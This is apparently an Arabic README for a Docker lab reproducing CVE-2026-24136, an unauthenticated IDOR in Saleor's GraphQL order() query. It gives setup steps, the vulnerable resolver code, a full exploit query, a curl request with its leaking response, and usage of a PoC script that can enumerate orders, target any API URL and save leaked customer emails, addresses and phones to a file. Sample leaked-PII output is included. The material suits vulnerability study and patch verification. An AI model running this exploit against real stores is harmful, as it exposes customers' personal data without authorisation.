
CVE-2026-24136 | مختبر لاستغلال ثغرة IDOR في Saleor GraphQL - الاستعلام order() لا يتحقق من المصادقة، مما يكشف جميع معلومات التعريف الشخصية (البريد الإلكتروني، العنوان، رقم الهاتف) للعملاء. يتضمن بيئة Docker، وسكربت بيانات التهيئة، وPoC. CVSS 4.0: 8.7 HIGH.
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2026-24136 |
| نوع الثغرة | IDOR - تجاوز التفويض عبر مفتاح يتحكم به المستخدم (CWE-639) |
| البرنامج | منصة التجارة الإلكترونية Saleor |
| الإصدارات المتأثرة | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| الإصدارات المُصحّحة | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| التأثير | يمكن لمهاجم غير موثّق قراءة معلومات التعريف الشخصية (PII) (الاسم، العنوان، رقم الهاتف، البريد الإلكتروني) لأي طلب |
| هل يتطلب مصادقة؟ | لا |
يوفر Saleor واجهة GraphQL API لإدارة الطلبات في التجارة الإلكترونية. يسمح استعلام order(id: $id) باسترجاع تفاصيل طلب معين حسب المعرف العام (global ID). في الإصدارات المتأثرة، لا يتحقق هذا الاستعلام مما إذا كان المستدعي مخولاً لعرض ذلك الطلب.
يمكن لأي شخص، حتى المستخدم المجهول تمامًا بدون حساب، استدعاء هذا الاستعلام والحصول على كامل معلومات التعريف الشخصية للعميل: البريد الإلكتروني، الاسم الكامل، عنوان الشحن، رقم الهاتف، سجل تسجيل الدخول.
cve-2026-24136-lab/
├── docker-compose.yml # بيئة المختبر (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # سكريبت التشغيل التلقائي (Windows PowerShell)
├── setup_lab.sh # سكريبت التشغيل التلقائي (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # غلاف بدء التشغيل: تصحيح خطأ wsgi + gunicorn
├── seed_data.py # إنشاء حسابات ضحايا وطلبات تحتوي على PII
└── poc_cve_2026_24136.py # إثبات المفهوم (PoC) للاستغلال
pip install requests# منح صلاحية التنفيذ إذا لزم الأمر
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# تشغيل الإعداد التلقائي
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. تشغيل الحاويات
docker compose up -d
# 2. الانتظار حتى تصبح API جاهزة (~60-90 ثانية)
# التحقق: curl http://localhost:8000/health/
# 3. إنشاء حساب مسؤول
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. تعبئة المنتجات/القنوات
docker exec cve_saleor_api python manage.py populatedb
# 5. إنشاء بيانات الضحايا (حسابات + طلبات مع PII)
cd scripts
pip install requests
python seed_data.py
المنافذ بعد التشغيل:
| الخدمة | الرابط |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| لوحة تحكم Saleor | http://localhost:9000 |
| المسؤول | [email protected] / admin |
cd scripts
# عرض الشرح التقني
python poc_cve_2026_24136.py explain
# استغلال من قائمة تم تعبئتها (مُوصى به - Saleor 3.x يستخدم معرفات UUID)
python poc_cve_2026_24136.py file order_ids.json
# استغلال طلب واحد باستخدام المعرف العام base64 مباشرةً
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# تعداد تسلسلي (يعمل فقط مع Saleor < 3.x الذي يستخدم معرفات أعداد صحيحة)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# تغيير عنوان API المستهدف
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# حفظ النتائج إلى JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
يستخدم Saleor "التعريف العام للكائنات" (Global Object Identification) وفقًا لمواصفات GraphQL Relay. يُعرف كل كائن بواسطة معرف عام بالصيغة:
base64("<TypeName>:<internal_id>")
بالنسبة للطلبات في Saleor 3.x:
# internal_id هو UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
ملاحظة: يستخدم Saleor 2.x معرفات أعداد صحيحة تسلسلية (
Order:1,Order:2, ...) مما يسهل تعدادها.
انتقل Saleor 3.x إلى UUID لذا يحتاج المهاجم إلى الحصول على UUID بطريقة أخرى (تأكيد الطلب عبر البريد، تسريب الرابط، إلخ).
الملف: saleor/graphql/order/resolvers.py
# الإصدار المُعطّل (قبل التصحيح)
def resolve_order(root, info, id):
"""حل الطلب حسب المعرف – بدون أي فحص تفويض."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# أي شخص يستدعي يحصل على البيانات، لا فحص للمستخدم ولا فحص للجلسة
الملف: saleor/graphql/order/schema.py
# تعريف الاستعلام، بدون إعلان صلاحيات
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# لا يوجد @permission_required، ولا أي حارس
الاستعلام المُرسَل لا يحتوي على رأس Authorization:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# الإرسال باستخدام curl، بدون رمز مميز
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# الاستجابة (بدون مصادقة):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}